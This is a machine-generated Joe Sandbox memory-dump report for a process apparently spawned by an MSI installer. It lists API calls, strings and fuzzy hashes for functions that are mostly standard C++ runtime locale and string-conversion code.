Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: 867391bfa5e754d71af99f7fc45df4645eee7fd5dd986b680a734cccb25643f9
Instruction ID: 5c2efea5006ea2ec31580733afb51d256a0c93e7af5edc77b07aac3c03a2f107
Opcode Fuzzy Hash: 867391bfa5e754d71af99f7fc45df4645eee7fd5dd986b680a734cccb25643f9
Instruction Fuzzy Hash: E071817590024AAFDF2B9F64CC85AEF7BBAAF4D750F260019F904A6191D735C9A0CB60

Function 0031215A Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 003121A3
__alloca_probe_16.LIBCMT ref: 003121CF
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0031220E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0031222B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0031226A
__alloca_probe_16.LIBCMT ref: 00312287
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003122C9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 003122EC

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7599b45732e7a0cdc925eb6dfd096b9b8d011e397bd2d514eabd67cd3c89d357
Instruction ID: 73de026ae080f5d102159098d102f34a769d74c88f2a7f7d02484f3b96c21eed
Opcode Fuzzy Hash: 7599b45732e7a0cdc925eb6dfd096b9b8d011e397bd2d514eabd67cd3c89d357
Instruction Fuzzy Hash: CA51C17260020ABFDB2A8F64CC45FEF7BA9EF48740F124824FE11AA150D734DDA19B60

Function 002F8610 Relevance: 10.7, APIs: 7, Instructions: 157memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002F8657
std::_Lockit::_Lockit.LIBCPMT ref: 002F8679
std::_Lockit::~_Lockit.LIBCPMT ref: 002F86A1
LocalAlloc.KERNEL32(00000040,00000044,00000000,7642E7B1,?,00000000), ref: 002F86F9
__Getctype.LIBCPMT ref: 002F877B
std::_Facet_Register.LIBCPMT ref: 002F87E4
std::_Lockit::~_Lockit.LIBCPMT ref: 002F880E

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: d4a30ec31b488b1878458eb66d3481c3fd9cf11df925b8aae8bc6d85b08c68c9
Instruction ID: 9650da863da2e044e85205d7bc7b91c66c2e731040aabc95aa7139bd62a79de1
Opcode Fuzzy Hash: d4a30ec31b488b1878458eb66d3481c3fd9cf11df925b8aae8bc6d85b08c68c9
Instruction Fuzzy Hash: E361E0B5C10649CFDB22CF68C940BAAFBF4FF14714F148269D945AB391EB34AA44CB91

Function 002F9270 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002F92A0
std::_Lockit::_Lockit.LIBCPMT ref: 002F92C2
std::_Lockit::~_Lockit.LIBCPMT ref: 002F92EA
LocalAlloc.KERNEL32(00000040,00000018,00000000,7642E7B1,?,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 002F9342
__Getctype.LIBCPMT ref: 002F93BD
std::_Facet_Register.LIBCPMT ref: 002F93F8
std::_Lockit::~_Lockit.LIBCPMT ref: 002F9422

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$AllocFacet_GetctypeLocalRegister
String ID:
API String ID: 2372200979-0
Opcode ID: e20c284404df93b0e800ceabc1844039dc0c73d0268bf029928178bebc731b95
Instruction ID: e6ddebb528ca142a67b280dbf27dbc6b4afe00e40fdffc1a9915275db325df21
Opcode Fuzzy Hash: e20c284404df93b0e800ceabc1844039dc0c73d0268bf029928178bebc731b95
Instruction Fuzzy Hash: 9951DE70D14209DFDB26CF68C844BAEBBF4EF14754F1081A9E945AB391DB70AE80CB91

Function 002F6FB0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000002,80004005,S-1-5-18,00000008), ref: 002F6FB7

Strings

<S4, xrefs: 002F7031
Call to ShellExecute() for verb<, xrefs: 002F6FC1
<S4, xrefs: 002F6FF0
> returned:, xrefs: 002F6FC6
<S4, xrefs: 002F706C
Last error=, xrefs: 002F7011

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast
String ID: <S4$<S4$<S4$> returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-3942388407
Opcode ID: e2cd86791a0139fae32c9820534ce95ed08bf300f69b564d75ce500fd9e7f0ec
Instruction ID: e46af84cb09c86dc21fcd6a7502de9949cb9319ce71c8cb8ff7b326273de2651
Opcode Fuzzy Hash: e2cd86791a0139fae32c9820534ce95ed08bf300f69b564d75ce500fd9e7f0ec
Instruction Fuzzy Hash: B621625DE2022687CB341F689405339E2E0EF64B94F65087FD9C9DB391EAA98C928395

Function 002FD87C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002FD883
std::_Lockit::_Lockit.LIBCPMT ref: 002FD88D

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

numpunct.LIBCPMT ref: 002FD8C7
std::_Facet_Register.LIBCPMT ref: 002FD8DE
std::_Lockit::~_Lockit.LIBCPMT ref: 002FD8FE

Strings

21, xrefs: 002FD8EB

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID: 21
API String ID: 743221004-1316489359
Opcode ID: 7d4953aa6194cfa35b00f5294fe27ffe515563f1901d5615e51529fc8f5d8372
Instruction ID: 9466c7c291f1b6339cc6208c50f7cf9762309b44c2a6efecbc120a65c76d3900
Opcode Fuzzy Hash: 7d4953aa6194cfa35b00f5294fe27ffe515563f1901d5615e51529fc8f5d8372
Instruction Fuzzy Hash: 1111E13991021E9BCF0AFF60D851ABEBB61AF84750F240829E511AF2D1CF70AE118B91

Function 003022FA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302301
std::_Lockit::_Lockit.LIBCPMT ref: 0030230B

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

codecvt.LIBCPMT ref: 00302345
std::_Facet_Register.LIBCPMT ref: 0030235C
std::_Lockit::~_Lockit.LIBCPMT ref: 0030237C

Strings

21, xrefs: 00302369

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: 21
API String ID: 712880209-1316489359
Opcode ID: 185fade933aaa7b9b41258db53343965f1e180a7d431af002273fee6c15af11a
Instruction ID: e49255931e1e1e535d97101abd7d3d4ccd2dddac9e9888c558de60f86d06d918
Opcode Fuzzy Hash: 185fade933aaa7b9b41258db53343965f1e180a7d431af002273fee6c15af11a
Instruction Fuzzy Hash: 0C0100398016199BCB1BEB60D865BBEB7A4AF84710F250449F500AF2C1CF349E018B91

Function 0030238F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302396
std::_Lockit::_Lockit.LIBCPMT ref: 003023A0

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

codecvt.LIBCPMT ref: 003023DA
std::_Facet_Register.LIBCPMT ref: 003023F1
std::_Lockit::~_Lockit.LIBCPMT ref: 00302411

Strings

21, xrefs: 003023FE

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: 21
API String ID: 712880209-1316489359
Opcode ID: 4e9f20a613cba19c53415a9db42a0904816cfa047df97abf5904df3b1debb1d0
Instruction ID: e3e7c33c53cc3dda4259892abb6aca33afba0f5b3191ca47df74082e550159fc
Opcode Fuzzy Hash: 4e9f20a613cba19c53415a9db42a0904816cfa047df97abf5904df3b1debb1d0
Instruction Fuzzy Hash: D20100399021198BCB0BEB64D865BBEB7A4AF84710F250819E400AF2D1CF749E41CB91

Function 00302424 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030242B
std::_Lockit::_Lockit.LIBCPMT ref: 00302435

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

collate.LIBCPMT ref: 0030246F
std::_Facet_Register.LIBCPMT ref: 00302486
std::_Lockit::~_Lockit.LIBCPMT ref: 003024A6

Strings

21, xrefs: 00302493

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID: 21
API String ID: 1007100420-1316489359
Opcode ID: a3acd53f5dc7310cdd9f3f054c1c68305bbeab17fd50d65f4e97775cd6af7437
Instruction ID: 391815c4e720240900ae33c1dda6ba9f8d1e6e7951b556f6fc2ea818cf81cddd
Opcode Fuzzy Hash: a3acd53f5dc7310cdd9f3f054c1c68305bbeab17fd50d65f4e97775cd6af7437
Instruction Fuzzy Hash: 9701D2359021199FCB0BEB60D866BBEBBB4AF84720F250409F500AF2D1DF709E41CB91

Function 003024B9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003024C0
std::_Lockit::_Lockit.LIBCPMT ref: 003024CA

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

collate.LIBCPMT ref: 00302504
std::_Facet_Register.LIBCPMT ref: 0030251B
std::_Lockit::~_Lockit.LIBCPMT ref: 0030253B

Strings

21, xrefs: 00302528

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID: 21
API String ID: 1007100420-1316489359
Opcode ID: ce485da2c0ec2caf6b67fc64134651dffd041374fca741436c59de23b6dad557
Instruction ID: b8c7d36eccedc2a6f6c7d6e1490d79770716bd22bb48aa203661e926ad7ad3cc
Opcode Fuzzy Hash: ce485da2c0ec2caf6b67fc64134651dffd041374fca741436c59de23b6dad557
Instruction Fuzzy Hash: 66019E35902119DBCB1BEB64D869ABEB7B5AF98720F250809F510AF2D1CF709E418B91

Function 0030254E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302555
std::_Lockit::_Lockit.LIBCPMT ref: 0030255F

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

ctype.LIBCPMT ref: 00302599
std::_Facet_Register.LIBCPMT ref: 003025B0
std::_Lockit::~_Lockit.LIBCPMT ref: 003025D0

Strings

21, xrefs: 003025BD

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID: 21
API String ID: 83828444-1316489359
Opcode ID: 449eb4a5f6f91b5c89a9932aca54cb5e17765d78589901131721072eeb84c4d2
Instruction ID: 1edee7a02ee447c688ec809a581d72558ab67f103a0d75a4ee87d82db4e6ae9b
Opcode Fuzzy Hash: 449eb4a5f6f91b5c89a9932aca54cb5e17765d78589901131721072eeb84c4d2
Instruction Fuzzy Hash: 9C01D2369021199FCB1BEB60C865ABEBBB4BF84710F250819F410AF2D1DF309E45CB91

Function 003025E3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003025EA
std::_Lockit::_Lockit.LIBCPMT ref: 003025F4

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

messages.LIBCPMT ref: 0030262E
std::_Facet_Register.LIBCPMT ref: 00302645
std::_Lockit::~_Lockit.LIBCPMT ref: 00302665

Strings

21, xrefs: 00302652

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID: 21
API String ID: 2750803064-1316489359
Opcode ID: 99c5252eadba2423281d88f1755c16feb6be6d6f343983e939ac56557034ae78
Instruction ID: 3e94722a932a8cd81055a056747437ee4ed67e0f7db4d530c8d35df8653f4fc6
Opcode Fuzzy Hash: 99c5252eadba2423281d88f1755c16feb6be6d6f343983e939ac56557034ae78
Instruction Fuzzy Hash: E701D23590111D9BCB0BEB60D869ABEB7B4BF84710F250409F810AF2D1CF709E01CB91

Function 00302678 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030267F
std::_Lockit::_Lockit.LIBCPMT ref: 00302689

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

messages.LIBCPMT ref: 003026C3
std::_Facet_Register.LIBCPMT ref: 003026DA
std::_Lockit::~_Lockit.LIBCPMT ref: 003026FA

Strings

21, xrefs: 003026E7

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID: 21
API String ID: 2750803064-1316489359
Opcode ID: 1cb0be59f3fe41ebe8f3fa422cfddc7a186878f9e4c9bc0a267b1af74fbfe5db
Instruction ID: 5d5ed6b9eec231cbed28377cbb971d3c88803719d5a136941cd031f7505aa170
Opcode Fuzzy Hash: 1cb0be59f3fe41ebe8f3fa422cfddc7a186878f9e4c9bc0a267b1af74fbfe5db
Instruction Fuzzy Hash: 3301C0359021199FCF1BEB64C865BBEB7B4AF88710F25080AF510AF2D1CF70AE018B91

Function 002FD6BD Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002FD6C4
std::_Lockit::_Lockit.LIBCPMT ref: 002FD6CE

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

codecvt.LIBCPMT ref: 002FD708
std::_Facet_Register.LIBCPMT ref: 002FD71F
std::_Lockit::~_Lockit.LIBCPMT ref: 002FD73F

Strings

21, xrefs: 002FD72C

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID: 21
API String ID: 712880209-1316489359
Opcode ID: e48c3e379a0939574698c9ce40bd87647ef6a730150ad93c37c3e9512cc4391b
Instruction ID: e25f0747a1fbd14991d83d95e68a9a78d7ace6381699bfbb52f16c9f47c57be1
Opcode Fuzzy Hash: e48c3e379a0939574698c9ce40bd87647ef6a730150ad93c37c3e9512cc4391b
Instruction Fuzzy Hash: C101C03991011D9BCB1AFB60C851ABEFBA5BF84750F250819E500AF2D2CF70AE018B91

Function 0030E843 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030E84A
std::_Lockit::_Lockit.LIBCPMT ref: 0030E854

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

collate.LIBCPMT ref: 0030E88E
std::_Facet_Register.LIBCPMT ref: 0030E8A5
std::_Lockit::~_Lockit.LIBCPMT ref: 0030E8C5

Strings

21, xrefs: 0030E8B2

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID: 21
API String ID: 1007100420-1316489359
Opcode ID: 84eedc030d1b432e8fe68151f0f7d8267699d3653a96c735a7458809a40830d8
Instruction ID: 624a34f03341b446e1dbb27de5d2c00fe2258c26937f4cd58544e726a364c90c
Opcode Fuzzy Hash: 84eedc030d1b432e8fe68151f0f7d8267699d3653a96c735a7458809a40830d8
Instruction Fuzzy Hash: 3B01C435A011299FCB0BEB64C861ABEB7B4AF84710F254819F400AF2D1CF309E018B91

Function 0030E8D8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030E8DF
std::_Lockit::_Lockit.LIBCPMT ref: 0030E8E9

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

messages.LIBCPMT ref: 0030E923
std::_Facet_Register.LIBCPMT ref: 0030E93A
std::_Lockit::~_Lockit.LIBCPMT ref: 0030E95A

Strings

21, xrefs: 0030E947

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID: 21
API String ID: 2750803064-1316489359
Opcode ID: 726d228271270d3db82a596bf42cd3ac0b17ae8118e8dfd509b2e678ecf0d34f
Instruction ID: c84c39d679e8ab44b497c61b5d437202b95ff197793f9f330f83ad8327087451
Opcode Fuzzy Hash: 726d228271270d3db82a596bf42cd3ac0b17ae8118e8dfd509b2e678ecf0d34f
Instruction Fuzzy Hash: 8F018035A011199BCF1BEBA4D861ABEB7A5BF84710F25090AE514AF2D1CF749E01CB91

Function 00302961 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302968
std::_Lockit::_Lockit.LIBCPMT ref: 00302972

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

moneypunct.LIBCPMT ref: 003029AC
std::_Facet_Register.LIBCPMT ref: 003029C3
std::_Lockit::~_Lockit.LIBCPMT ref: 003029E3

Strings

21, xrefs: 003029D0

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

